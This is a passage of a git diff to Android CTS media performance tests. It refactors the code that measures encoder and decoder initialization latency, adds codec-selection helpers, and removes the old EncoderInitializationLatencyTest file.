+ ResultUnit.NONE);
+ log.setSummary("CDD 2.2.7.1/5.1/H-1-7,H-1-8 performance_class", pc, ResultType.NEUTRAL,
+ ResultUnit.NONE);
+ log.submit(InstrumentationRegistry.getInstrumentation());
+ }
+ }
+
+ /**
+ * The following class calculates the encoder initialization latency (time for codec create +
+ * configure).
+ *
+ * <p>And also logs the time taken by the encoder for:
+ * (create + configure + start),
+ * (create + configure + start + first frame to enqueue),
+ * (create + configure + start + first frame to dequeue).
+ */
+ static class EncoderInitializationLatency extends CodecEncoderTestBase {
+ private static final String LOG_TAG = EncoderInitializationLatency.class.getSimpleName();
+
+ private final String mEncoderName;
+ private final boolean mIsAsync;
+
+ EncoderInitializationLatency(String mime, String encoderName, boolean isAsync) {
+ super(mime);
+ mEncoderName = encoderName;
+ mIsAsync = isAsync;
+ mSampleRate = 8000;
+ mFrameRate = 60;
+ }
+
+ private MediaFormat setUpFormat() throws IOException {
+ MediaFormat format = new MediaFormat();
+ format.setString(MediaFormat.KEY_MIME, mMime);
+ if (mIsAudio) {
+ if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_FLAC)) {
+ format.setInteger(MediaFormat.KEY_FLAC_COMPRESSION_LEVEL, 10000);
+ } else {
+ format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
+ }
+ format.setInteger(MediaFormat.KEY_SAMPLE_RATE, mSampleRate);
+ format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 1);
+ } else {
+ MediaCodec codec = MediaCodec.createByCodecName(mEncoderName);
+ MediaCodecInfo.CodecCapabilities codecCapabilities =
+ codec.getCodecInfo().getCapabilitiesForType(mMime);
+ if (codecCapabilities.getVideoCapabilities().isSizeSupported(1920, 1080)) {
+ format.setInteger(MediaFormat.KEY_WIDTH, 1920);
+ format.setInteger(MediaFormat.KEY_HEIGHT, 1080);
+ format.setInteger(MediaFormat.KEY_BIT_RATE, 8000000);
+ } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(1280, 720)) {
+ format.setInteger(MediaFormat.KEY_WIDTH, 1280);
+ format.setInteger(MediaFormat.KEY_HEIGHT, 720);
+ format.setInteger(MediaFormat.KEY_BIT_RATE, 5000000);
+ } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(640, 480)) {
+ format.setInteger(MediaFormat.KEY_WIDTH, 640);
+ format.setInteger(MediaFormat.KEY_HEIGHT, 480);
+ format.setInteger(MediaFormat.KEY_BIT_RATE, 2000000);
+ } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(352, 288)) {
+ format.setInteger(MediaFormat.KEY_WIDTH, 352);
+ format.setInteger(MediaFormat.KEY_HEIGHT, 288);
+ format.setInteger(MediaFormat.KEY_BIT_RATE, 512000);
+ } else {
+ format.setInteger(MediaFormat.KEY_WIDTH, 176);
+ format.setInteger(MediaFormat.KEY_HEIGHT, 144);
+ format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
+ }
+ codec.release();
+ format.setInteger(MediaFormat.KEY_FRAME_RATE, mFrameRate);
+ format.setFloat(MediaFormat.KEY_I_FRAME_INTERVAL, 1.0f);
+ format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
+ MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
+ }
+ return format;
+ }
+
+ public long calculateInitLatency() throws Exception {
+ MediaFormat format = setUpFormat();
+ if (mIsAudio) {
+ mSampleRate = format.getInteger(MediaFormat.KEY_SAMPLE_RATE);
+ mChannels = format.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
+ } else {
+ mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
+ mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
+ }
+ setUpSource(mInputFile);
+ MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
+ long enqueueTimeStamp = 0;
+ long dequeueTimeStamp = 0;
+ long baseTimeStamp = System.nanoTime();
+ mCodec = MediaCodec.createByCodecName(mEncoderName);
+ resetContext(mIsAsync, false);
+ mAsyncHandle.setCallBack(mCodec, mIsAsync);
+ mCodec.configure(format, null, MediaCodec.CONFIGURE_FLAG_ENCODE, null);
+ long configureTimeStamp = System.nanoTime();
+ mCodec.start();
+ long startTimeStamp = System.nanoTime();
+ if (mIsAsync) {
+ // We will keep on feeding the input to encoder until we see the first dequeued
+ // frame.
+ while (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
+ Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getWork();
+ if (element != null) {
+ int bufferID = element.first;
+ MediaCodec.BufferInfo info = element.second;
+ if (info != null) {
+ dequeueTimeStamp = System.nanoTime();
+ dequeueOutput(bufferID, info);
+ break;
+ } else {
+ if (enqueueTimeStamp == 0) {
+ enqueueTimeStamp = System.nanoTime();
+ }
+ enqueueInput(bufferID);
+ }
+ }
+ }
+ } else {
+ while (!mSawOutputEOS) {
+ if (!mSawInputEOS) {
+ int inputBufferId = mCodec.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
+ if (inputBufferId > 0) {
+ if (enqueueTimeStamp == 0) {
+ enqueueTimeStamp = System.nanoTime();
+ }
+ enqueueInput(inputBufferId);
+ }
+ }
+ int outputBufferId = mCodec.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
+ if (outputBufferId >= 0) {
+ dequeueTimeStamp = System.nanoTime();
+ dequeueOutput(outputBufferId, outInfo);
+ break;
+ }
+ }
+ }
+ queueEOS();
+ waitForAllOutputs();
+ mCodec.stop();
+ mCodec.release();
+ Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+ " Time for (create + configure) in ns: " +
+ (configureTimeStamp - baseTimeStamp));
+ Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+ " Time for (create + configure + start) in ns: " +
+ (startTimeStamp - baseTimeStamp));
+ Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+ " Time for (create + configure + start + first frame to enqueue) in ns: " +
+ (enqueueTimeStamp - baseTimeStamp));
+ Log.d(LOG_TAG, "Encode Mime: " + mMime + " Encoder: " + mEncoderName +
+ " Time for (create + configure + start + first frame to dequeue) in ns: " +
+ (dequeueTimeStamp - baseTimeStamp));
+ long timeToConfigureMs = (configureTimeStamp - baseTimeStamp) / 1000000;
+ return timeToConfigureMs;
+ }
+ }
+
+ /**
+ * The following class calculates the decoder initialization latency (time for codec create +
+ * configure).
+ * And also logs the time taken by the decoder for:
+ * (create + configure + start),
+ * (create + configure + start + first frame to enqueue),
+ * (create + configure + start + first frame to dequeue).
+ */
+ static class DecoderInitializationLatency extends CodecDecoderTestBase {
+ private static final String LOG_TAG = DecoderInitializationLatency.class.getSimpleName();
+
+ private final String mDecoderName;
+ private final boolean mIsAsync;
+
+ DecoderInitializationLatency(String mediaType, String decoderName, String testFile,
+ boolean isAsync, boolean surfaceMode) {
+ super(mediaType, testFile);
+ mDecoderName = decoderName;
+ mIsAsync = isAsync;
+ mSurface = mIsAudio ? null :
+ surfaceMode ? MediaCodec.createPersistentInputSurface() : null;
+ }
+
+ public long calculateInitLatency() throws Exception {
+ MediaCodec.BufferInfo outInfo = new MediaCodec.BufferInfo();
+ MediaFormat format = setUpSource(mTestFile);
+ long enqueueTimeStamp = 0;
+ long dequeueTimeStamp = 0;
+ long baseTimeStamp = System.nanoTime();
+ mCodec = MediaCodec.createByCodecName(mDecoderName);
+ resetContext(mIsAsync, false);
+ mAsyncHandle.setCallBack(mCodec, mIsAsync);
+ mCodec.configure(format, mSurface, 0, null);
+ long configureTimeStamp = System.nanoTime();
+ mCodec.start();
+ long startTimeStamp = System.nanoTime();
+ if (mIsAsync) {
+ // We will keep on feeding the input to decoder until we see the first dequeued
+ // frame.
+ while (!mAsyncHandle.hasSeenError() && !mSawInputEOS) {
+ Pair<Integer, MediaCodec.BufferInfo> element = mAsyncHandle.getWork();
+ if (element != null) {
+ int bufferID = element.first;
+ MediaCodec.BufferInfo info = element.second;
+ if (info != null) {
+ dequeueTimeStamp = System.nanoTime();
+ dequeueOutput(bufferID, info);
+ break;
+ } else {
+ if (enqueueTimeStamp == 0) {
+ enqueueTimeStamp = System.nanoTime();
+ }
+ enqueueInput(bufferID);
+ }
+ }
+ }
+ } else {
+ while (!mSawOutputEOS) {
+ if (!mSawInputEOS) {
+ int inputBufferId = mCodec.dequeueInputBuffer(Q_DEQ_TIMEOUT_US);
+ if (inputBufferId >= 0) {
+ if (enqueueTimeStamp == 0) {
+ enqueueTimeStamp = System.nanoTime();
+ }
+ enqueueInput(inputBufferId);
+ }
+ }
+ int outputBufferId = mCodec.dequeueOutputBuffer(outInfo, Q_DEQ_TIMEOUT_US);
+ if (outputBufferId >= 0) {
+ dequeueTimeStamp = System.nanoTime();
+ dequeueOutput(outputBufferId, outInfo);
+ break;
+ }
+ }
+ }
+ queueEOS();
+ waitForAllOutputs();
+ mCodec.stop();
+ mCodec.release();
+ if (mSurface != null) {
+ mSurface.release();
+ }
+ Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+ " Time for (create + configure) in ns: " +
+ (configureTimeStamp - baseTimeStamp));
+ Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+ " Time for (create + configure + start) in ns: " +
+ (startTimeStamp - baseTimeStamp));
+ Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+ " Time for (create + configure + start + first frame to enqueue) in ns: " +
+ (enqueueTimeStamp - baseTimeStamp));
+ Log.d(LOG_TAG, "Decode Mime: " + mMime + " Decoder: " + mDecoderName +
+ " Time for (create + configure + start + first frame to dequeue) in ns: " +
+ (dequeueTimeStamp - baseTimeStamp));
+ long timeToConfigureMs = (configureTimeStamp - baseTimeStamp) / 1000000;
+ return timeToConfigureMs;
+ }
+ }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java b/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java
index c6a0c60..c75fffb 100644
--- a/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/CodecTestBase.java
@@ -42,7 +42,9 @@
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.ArrayList;
+import java.util.HashSet;
import java.util.LinkedList;
+import java.util.Set;
import java.util.concurrent.Callable;
import java.util.concurrent.locks.Condition;
import java.util.concurrent.locks.Lock;
@@ -178,6 +180,8 @@
static final int SELECT_ALL = 0; // Select all codecs
static final int SELECT_HARDWARE = 1; // Select Hardware codecs only
static final int SELECT_SOFTWARE = 2; // Select Software codecs only
+ static final int SELECT_AUDIO = 3; // Select Audio codecs only
+ static final int SELECT_VIDEO = 4; // Select Video codecs only
// Maintain Timeouts in sync with their counterpart in NativeMediaCommon.h
static final long Q_DEQ_TIMEOUT_US = 5000; // block at most 5ms while looking for io buffers
static final int RETRY_LIMIT = 100; // max poll counter before test aborts and returns error
@@ -339,12 +343,23 @@
static ArrayList<String> selectHardwareCodecs(String mime, ArrayList<MediaFormat> formats,
String[] features, boolean isEncoder) {
- return selectCodecs(mime, formats, features, isEncoder, SELECT_HARDWARE);
+ return selectHardwareCodecs(mime, formats, features, isEncoder, false);
+ }
+
+ static ArrayList<String> selectHardwareCodecs(String mime, ArrayList<MediaFormat> formats,
+ String[] features, boolean isEncoder, boolean allCodecs) {
+ return selectCodecs(mime, formats, features, isEncoder, SELECT_HARDWARE, allCodecs);
}
static ArrayList<String> selectCodecs(String mime, ArrayList<MediaFormat> formats,
String[] features, boolean isEncoder, int selectCodecOption) {
- MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ return selectCodecs(mime, formats, features, isEncoder, selectCodecOption, false);
+ }
+
+ static ArrayList<String> selectCodecs(String mime, ArrayList<MediaFormat> formats,
+ String[] features, boolean isEncoder, int selectCodecOption, boolean allCodecs) {
+ int kind = allCodecs ? MediaCodecList.ALL_CODECS : MediaCodecList.REGULAR_CODECS;
+ MediaCodecList codecList = new MediaCodecList(kind);
MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
ArrayList<String> listOfCodecs = new ArrayList<>();
for (MediaCodecInfo codecInfo : codecInfos) {
@@ -382,6 +397,31 @@
}
return listOfCodecs;
}
+
+ static Set<String> getMimesOfAvailableCodecs(int codecAV, int codecType) {
+ MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
+ Set<String> listOfMimes = new HashSet<>();
+ for (MediaCodecInfo codecInfo : codecInfos) {
+ if (codecType == SELECT_HARDWARE && !codecInfo.isHardwareAccelerated()) {
+ continue;
+ }
+ if (codecType == SELECT_SOFTWARE && !codecInfo.isSoftwareOnly()) {
+ continue;
+ }
+ String[] types = codecInfo.getSupportedTypes();
+ for (String type : types) {
+ if (codecAV == SELECT_AUDIO && !type.startsWith("audio/")) {
+ continue;
+ }
+ if (codecAV == SELECT_VIDEO && !type.startsWith("video/")) {
+ continue;
+ }
+ listOfMimes.add(type);
+ }
+ }
+ return listOfMimes;
+ }
}
class CodecDecoderTestBase extends CodecTestBase {
diff --git a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java b/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
deleted file mode 100644
index ae09b14..0000000
--- a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
+++ /dev/null
@@ -1,507 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.mediapc.cts;
-
-import static android.mediapc.cts.CodecTestBase.selectCodecs;
-import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
-
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeFalse;
-import static org.junit.Assume.assumeTrue;
-
-import android.app.Instrumentation;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaFormat;
-import android.media.MediaRecorder;
-import android.mediapc.cts.common.Utils;
-import android.os.Build;
-import android.util.Log;
-import android.util.Pair;
-import android.view.Surface;
-
-import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
-import androidx.test.rule.ActivityTestRule;
-
-import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-
-import java.io.File;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-import java.util.List;
-
-/**
- * The following test class validates the codec initialization latency (time for codec create +
- * configure) for the audio encoders and hardware video encoders available in the device, under the
- * load condition (Transcode + MediaRecorder session Audio(Microphone) and 1080p Video(Camera)).
- */
-@RunWith(Parameterized.class)
-public class EncoderInitializationLatencyTest {
- private static final String LOG_TAG = EncoderInitializationLatencyTest.class.getSimpleName();
- private static final boolean[] boolStates = {false, true};
- private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_R_MS = 50;
- private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_R_MS = 65;
- private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_S_MS = 40;
- private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_S_MS = 50;
- private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_T_MS = 30;
- private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_T_MS = 40;
-
- private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_MS;
- private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_MS;
- private static final String AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
- private static final String HEVC = MediaFormat.MIMETYPE_VIDEO_HEVC;
- private static final String AVC_TRANSCODE_FILE = "bbb_1280x720_3mbps_30fps_avc.mp4";
- private static String AVC_DECODER_NAME;
- private static String AVC_ENCODER_NAME;
-
- static {
- if (Utils.isRPerfClass()) {
- MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_R_MS;
- MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_R_MS;
- } else if (Utils.isSPerfClass()) {
- MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_S_MS;
- MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_S_MS;
- } else {
- // Performance class Build.VERSION_CODES.TIRAMISU and beyond
- MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_T_MS;
- MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_T_MS;
- }
- }
-
- private final String mMime;
- private final String mEncoderName;
-
- private LoadStatus mTranscodeLoadStatus = null;
- private Thread mTranscodeLoadThread = null;
- private MediaRecorder mMediaRecorderLoad = null;
- private File mTempRecordedFile = null;
- private Surface mSurface = null;
- private Exception mException = null;
-
- @Before
- public void setUp() throws Exception {
- Utils.assumeDeviceMeetsPerformanceClassPreconditions();
-
- ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false);
- assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty());
- AVC_DECODER_NAME = listOfAvcHwDecoders.get(0);
-
- ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true);
- assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty());
- AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0);
-
- Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
- Context context = instrumentation.getTargetContext();
- PackageManager packageManager = context.getPackageManager();
- assertNotNull(packageManager.getSystemAvailableFeatures());
- assumeTrue("The device doesn't have a camera",
- packageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY));
- assumeTrue("The device doesn't have a microphone",
- packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE));
- createSurface();
- startLoad();
- }
-
- @After
- public void tearDown() throws Exception {
- stopLoad();
- releaseSurface();
- }
-
- public EncoderInitializationLatencyTest(String mimeType, String encoderName) {
- mMime = mimeType;
- mEncoderName = encoderName;
- }
-
- @Rule
- public ActivityTestRule<TestActivity> mActivityRule =
- new ActivityTestRule<>(TestActivity.class);
-
- // Returns the list of all available hardware video encoders in the device.
- static ArrayList<String> getMimesOfAvailableHardwareVideoEncoders() {
- MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
- MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
- ArrayList<String> listOfMimes = new ArrayList<>();
- for (MediaCodecInfo codecInfo : codecInfos) {
- if (!codecInfo.isEncoder() || !codecInfo.isHardwareAccelerated()) continue;
- String[] types = codecInfo.getSupportedTypes();
- for (String type : types) {
- if (type.startsWith("video/") && !listOfMimes.contains(type)) {
- listOfMimes.add(type);
- }
- }
- }
- return listOfMimes;
- }
-
- // Returns the list of all available audio encoders in the device.
- static ArrayList<String> getMimesOfAvailableAudioEncoders() {
- MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
- MediaCodecInfo[] codecInfos = codecList.getCodecInfos();
- ArrayList<String> listOfMimes = new ArrayList<>();
- for (MediaCodecInfo codecInfo : codecInfos) {
- if (!codecInfo.isEncoder()) continue;
- String[] types = codecInfo.getSupportedTypes();
- for (String type : types) {
- if (type.startsWith("audio/") && !listOfMimes.contains(type)) {
- listOfMimes.add(type);
- }
- }
- }
- return listOfMimes;
- }
-
- // Returns the list of parameters with mimetype and their encoder(for audio - all encoders,
- // video - hardware encoders).
- // Parameters {0}_{1} -- Mime_EncoderName
- @Parameterized.Parameters(name = "{index}({0}_{1})")
- public static Collection<Object[]> inputParams() {
- // Prepares the params list with the required Hardware video encoders and all available
- // audio encoders present in the device.
- final List<Object[]> argsList = new ArrayList<>();
- ArrayList<String> mimesList = getMimesOfAvailableHardwareVideoEncoders();
- mimesList.addAll(getMimesOfAvailableAudioEncoders());
- for (String mime : mimesList) {
- ArrayList<String> listOfEncoders;
- if (mime.startsWith("audio/")) {
- listOfEncoders = selectCodecs(mime, null, null, true);
- } else {
- listOfEncoders = selectHardwareCodecs(mime, null, null, true);
- }
- for (String encoder : listOfEncoders) {
- argsList.add(new Object[]{mime, encoder});
- }
- }
- return argsList;
- }
-
- private MediaRecorder createMediaRecorderLoad(Surface surface) throws Exception {
- MediaRecorder mediaRecorder = new MediaRecorder(InstrumentationRegistry.getInstrumentation()
- .getContext());
- mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
- mediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
- mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
- mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
- mediaRecorder.setVideoEncoder(mMime.equalsIgnoreCase(HEVC) ?
- MediaRecorder.VideoEncoder.HEVC : MediaRecorder.VideoEncoder.H264);
- mediaRecorder.setOutputFile(mTempRecordedFile);
- mediaRecorder.setVideoSize(1920, 1080);
- mediaRecorder.setOrientationHint(0);
- mediaRecorder.setPreviewDisplay(surface);
- mediaRecorder.prepare();
- return mediaRecorder;
- }
-
- private void startLoad() throws Exception {
- // TODO: b/183671436
- // Create Transcode load (AVC Decoder(720p) + AVC Encoder(720p))
- mTranscodeLoadStatus = new LoadStatus();
- mTranscodeLoadThread = new Thread(() -> {
- try {
- TranscodeLoad transcodeLoad = new TranscodeLoad(AVC, AVC_TRANSCODE_FILE,
- AVC_DECODER_NAME, AVC_ENCODER_NAME, mTranscodeLoadStatus);
- transcodeLoad.doTranscode();
- } catch (Exception e) {
- mException = e;
- }
- });
- // Create MediaRecorder Session - Audio (Microphone) + 1080p Video (Camera)
- // Create a temp file to dump the MediaRecorder output. Later it will be deleted.
- mTempRecordedFile = new File(WorkDir.getMediaDirString() + "tempOut.mp4");
- mTempRecordedFile.createNewFile();
- mMediaRecorderLoad = createMediaRecorderLoad(mSurface);
- // Start the Loads
- mTranscodeLoadThread.start();
- mMediaRecorderLoad.start();
- }
-
- private void stopLoad() throws Exception {
- if (mTranscodeLoadStatus != null) {
- mTranscodeLoadStatus.setLoadFinished();
- mTranscodeLoadStatus = null;
- }
- if (mTranscodeLoadThread != null) {
- mTranscodeLoadThread.join();
- mTranscodeLoadThread = null;
- }
- if (mMediaRecorderLoad != null) {
- // Note that a RuntimeException is intentionally thrown to the application, if no valid
- // audio/video data has been received when stop() is called. This happens if stop() is
- // called immediately after start(). So sleep for 1000ms inorder to make sure some
- // data has been received between start() and stop().
- Thread.sleep(1000);
- mMediaRecorderLoad.stop();
- mMediaRecorderLoad.release();
- mMediaRecorderLoad = null;
- if (mTempRecordedFile != null && mTempRecordedFile.exists()) {
- mTempRecordedFile.delete();
- mTempRecordedFile = null;
- }
- }
- if (mException != null) throw mException;
- }
-
- private void createSurface() throws InterruptedException {
- mActivityRule.getActivity().waitTillSurfaceIsCreated();
- mSurface = mActivityRule.getActivity().getSurface();
- assertTrue("Surface created is null.", mSurface != null);
- assertTrue("Surface created is invalid.", mSurface.isValid());
- mActivityRule.getActivity().setScreenParams(1920, 1080, true);
- }
-
- private void releaseSurface() {
- if (mSurface != null) {
- mSurface.release();
- mSurface = null;
- }
- }
-
- /**
- * This test validates that the initialization latency(time for codec create + configure)
- * for the audio encoders <= 30ms and for video encoders <= 40ms measuring 10 times in
- * succession(5 times alternating sync and async modes). This also logs the stats min, max, avg
- * of the encoder initialization latencies.
- */
- @LargeTest
- @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
- @CddTest(requirement = "2.2.7.1/5.1/H-1-7,H-1-8")
- public void testInitializationLatency() throws Exception {
- final int NUM_MEASUREMENTS = 5;
- // Test gathers initialization latency for a number of iterations and
- // percentile is a variable used to control how many of these iterations
- // need to meet the pass criteria. For NUM_MEASUREMENTS at 5, sync and Async
- // modes which is a total of 10 iterations, this translates to index 7.
- final int percentile = 70;
- long expectedMaxCodecInitializationLatencyMs = mMime.startsWith("audio/") ?
- MAX_AUDIOENC_INITIALIZATION_LATENCY_MS : MAX_VIDEOENC_INITIALIZATION_LATENCY_MS;
- long sumOfEncoderInitializationLatencyMs = 0;
- int count = 0;
- long[] encoderInitializationLatencyMs = new long[NUM_MEASUREMENTS * boolStates.length];
- for (int i = 0; i < NUM_MEASUREMENTS; i++) {
- for (boolean isAsync : boolStates) {
- EncoderInitializationLatency encoderInitializationLatency =
- new EncoderInitializationLatency(mMime, mEncoderName, isAsync);
- long latency = encoderInitializationLatency.calculateEncoderInitializationLatency();
- encoderInitializationLatencyMs[count] = latency;
- sumOfEncoderInitializationLatencyMs += latency;
- count++;
- }
- }
- Arrays.sort(encoderInitializationLatencyMs);
-
- String statsLog = String.format("CodecInitialization latency for mime: %s, " +
- "Encoder: %s, in Ms :: ", mMime, mEncoderName);
- Log.i(LOG_TAG, "Min " + statsLog + encoderInitializationLatencyMs[0]);
- Log.i(LOG_TAG, "Max " + statsLog + encoderInitializationLatencyMs[count - 1]);
- Log.i(LOG_TAG, "Avg " + statsLog + (sumOfEncoderInitializationLatencyMs / count));
- long initializationLatency = encoderInitializationLatencyMs[percentile * count / 100];
- if (Utils.isPerfClass()) {
- String errorLog = String.format(
- "CodecInitialization latency for mime: %s, Encoder: %s is not as expected. "
- + "act/exp in Ms :: %d/%d", mMime, mEncoderName, initializationLatency,
- expectedMaxCodecInitializationLatencyMs);
- assertTrue(errorLog, initializationLatency <= expectedMaxCodecInitializationLatencyMs);
- } else {
- int pc;
- if (mMime.startsWith("audio/")) {
- pc = initializationLatency < MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_T_MS ?
- Build.VERSION_CODES.TIRAMISU :
- initializationLatency < MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_S_MS ?
- Build.VERSION_CODES.S : initializationLatency <
- MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_R_MS ?
- Build.VERSION_CODES.R : 0;
- } else {
- pc = initializationLatency < MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_T_MS ?
- Build.VERSION_CODES.TIRAMISU :
- initializationLatency < MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_S_MS ?
- Build.VERSION_CODES.S : initializationLatency <
- MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_R_MS ?
- Build.VERSION_CODES.R : 0;
- }
- DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
- "InitializationLatency_" + mEncoderName);
- log.addValue("encoder", mEncoderName, ResultType.NEUTRAL, ResultUnit.NONE);
- log.addValue("initialization_latency", initializationLatency, ResultType.LOWER_BETTER,
- ResultUnit.NONE);
- log.setSummary("CDD 2.2.7.1/5.1/H-1-7,H-1-8 performance_class", pc, ResultType.NEUTRAL,
- ResultUnit.NONE);
- log.submit(InstrumentationRegistry.getInstrumentation());
- }
- }
-}
-
-/**
- * The following class calculates the encoder initialization latency (time for codec create +
- * configure). And also logs the time taken by the encoder for:
- * (create + configure + start),
- * (create + configure + start + first frame to enqueue),
- * (create + configure + start + first frame to dequeue).
- */
-class EncoderInitializationLatency extends CodecEncoderTestBase {
- private static final String LOG_TAG = EncoderInitializationLatency.class.getSimpleName();
-
- private final String mEncoderName;
- private final boolean mIsAsync;
-
- EncoderInitializationLatency(String mime, String encoderName, boolean isAsync) {
- super(mime);
- mEncoderName = encoderName;
- mIsAsync = isAsync;
- mSampleRate = 8000;
- mFrameRate = 60;
- }
-
- private MediaFormat setUpFormat() throws IOException {
- MediaFormat format = new MediaFormat();
- format.setString(MediaFormat.KEY_MIME, mMime);
- if (mIsAudio) {
- if (mMime.equals(MediaFormat.MIMETYPE_AUDIO_FLAC)) {
- format.setInteger(MediaFormat.KEY_FLAC_COMPRESSION_LEVEL, 10000);
- } else {
- format.setInteger(MediaFormat.KEY_BIT_RATE, 128000);
- }
- format.setInteger(MediaFormat.KEY_SAMPLE_RATE, mSampleRate);
- format.setInteger(MediaFormat.KEY_CHANNEL_COUNT, 1);
- } else {
- MediaCodec codec = MediaCodec.createByCodecName(mEncoderName);
- MediaCodecInfo.CodecCapabilities codecCapabilities =
- codec.getCodecInfo().getCapabilitiesForType(mMime);
- if (codecCapabilities.getVideoCapabilities().isSizeSupported(1920, 1080)) {
- format.setInteger(MediaFormat.KEY_WIDTH, 1920);
- format.setInteger(MediaFormat.KEY_HEIGHT, 1080);
- format.setInteger(MediaFormat.KEY_BIT_RATE, 8000000);
- } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(1280, 720)) {
- format.setInteger(MediaFormat.KEY_WIDTH, 1280);
- format.setInteger(MediaFormat.KEY_HEIGHT, 720);
- format.setInteger(MediaFormat.KEY_BIT_RATE, 5000000);
- } else if (codecCapabilities.getVideoCapabilities().isSizeSupported(640, 480)) {
